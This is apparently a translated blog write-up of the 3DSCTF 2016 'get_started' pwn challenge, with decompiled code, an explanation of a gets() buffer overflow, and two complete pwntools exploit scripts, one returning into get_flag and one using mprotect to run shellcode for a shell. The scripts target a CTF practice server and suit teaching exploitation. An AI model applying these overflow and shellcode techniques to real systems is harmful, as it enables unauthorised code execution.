当前位置:网站首页>get_ started_ 3dsctf_ two thousand and sixteen
get_ started_ 3dsctf_ two thousand and sixteen
2022-06-24 07:23:00 【[mzq]】
get_started_3dsctf_2016

checksec Procedure is 32 Bit , Open some protection that is not a big problem ,ida to glance at 
main function

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4); #gets Function can overflow indefinitely
return 0;
}
get_flag function

We construct a1 == 0x308CD64F && a2 == 0x195719D1 , then get_flag The return address of the function is filled in exit function , You can put the flag Bring it out
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 ) # Judge a1 and a2 If it is equal to a given number, it reads flag
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
exp1
from pwn import *
io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26448)
elf = ELF("./get_started_3dsctf_2016")
context(log_level="debug",arch="i386")
get_flag_addr = elf.symbols["get_flag"]
exit_addr = elf.symbols["exit"]
ret_addr = 0x08048196
a1 = 0x308CD64F
a2 = 0x195719D1
print hex(get_flag_addr),hex(exit_addr)
payload = flat(["a"*56,ret_addr,get_flag_addr,exit_addr,a1,a2])
io.sendline(payload)
io.recv()

mprotect function
Reference resources https://blog.csdn.net/qq_32095699/article/details/114225953

Simply put, this function can give permissions to the address , It's also Linux System function under , His three parameters
The first parameter is an address , It refers to the address where the operation is required .
The second parameter is the length of the address .
The third parameter is the permission to be granted .
These three parameters exist ebx esi ebp in
int __cdecl mprotect(int a1, int a2, int a3)
{
int result; // eax
result = dl_sysinfo(a2, a3);
JUMPOUT(result, -4095, _syscall_error);
return result;
}
May refer to https://www.wenjiangs.com/doc/dtkwp70q9e#ef45581adcf1589aa9c8efb9d4c10ec4
exp2
The second method is to use mprotect Function to give the address read and write permissions , Then go to the address shellcode Then the execution is called , It's not that complicated
from pwn import *
io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26448)
elf = ELF("./get_started_3dsctf_2016")
context(log_level="debug",arch="i386")
mprotect_addr = elf.symbols["mprotect"]
read_plt = elf.symbols["read"]
pop_ebx_esi_ebp_ret = 0x0804f460
buf = 0x8048000
print mprotect_addr
payload = flat(["a"*0x38,mprotect_addr,pop_ebx_esi_ebp_ret,buf,0x1000,0x7,read_plt,buf,0,buf,0x200])
io.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386')
io.sendline(shellcode)
io.interactive()
边栏推荐
- One year since joining Tencent
- What is the mentality of spot gold worth learning from
- 在终端pip install xxx但在pycharm却no module named xxx
- Introduction to game design and development - layered quaternion - dynamic layer
- Implementation and usage analysis of static pod
- 0 foundation a literature club low code development member management applet (II)
- 【图像融合】基于像素显着性结合小波变换实现多焦点和多光谱图像融合附matlab代码
- An example of MySQL accidental deletion recovery - using Myflash
- Tencent host security captures Yapi remote code execution 0day vulnerability for wild exploitation. The attack is spreading and can be intercepted by firewall
- [MRCTF2020]千层套路
猜你喜欢
随机推荐
JVM调试工具-jvisualvm
【MySQL 使用秘籍】克隆数据表、保存查询数据至数据表以及创建临时表
JVM调试工具-jps
游戏思考14:对cache_server缓冲服务器的问题思考(读云峰博客有感)
Web messaging and woker classification: talking about the cross thread and cross page communication of PostMessage
Hyperledger fabric ledger snapshot - fast data synchronization
buuctf misc 从娃娃抓起
在js中正则表达式验证小时分钟,将输入的字符串转换为对应的小时和分钟
【图像分割】基于形态学实现视网膜血管分割附matlab代码
【图像融合】基于像素显着性结合小波变换实现多焦点和多光谱图像融合附matlab代码
Can the small fire Chunfeng tea make its debut by "keeping fit"?
buuctf misc [UTCTF2020]docx
華為雲數據庫進階學習
EasyDSS_ The dash version solves the problem that the RTSP source address cannot play the video stream
(CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】
【pointNet】基于pointNet的三维点云目标分类识别matlab仿真
20个不容错过的ES6技巧
Fine! Storage knowledge is a must for network engineers!
Cisco router configuration notes: static routing, rip, OSPF, principles combined with experiments, worth a visit!
捏脸师: 炙手可热的元宇宙造型师

![[OGeek2019]babyrop](/img/74/5f93dcee9ea5a562a7fba5c17aab76.png)







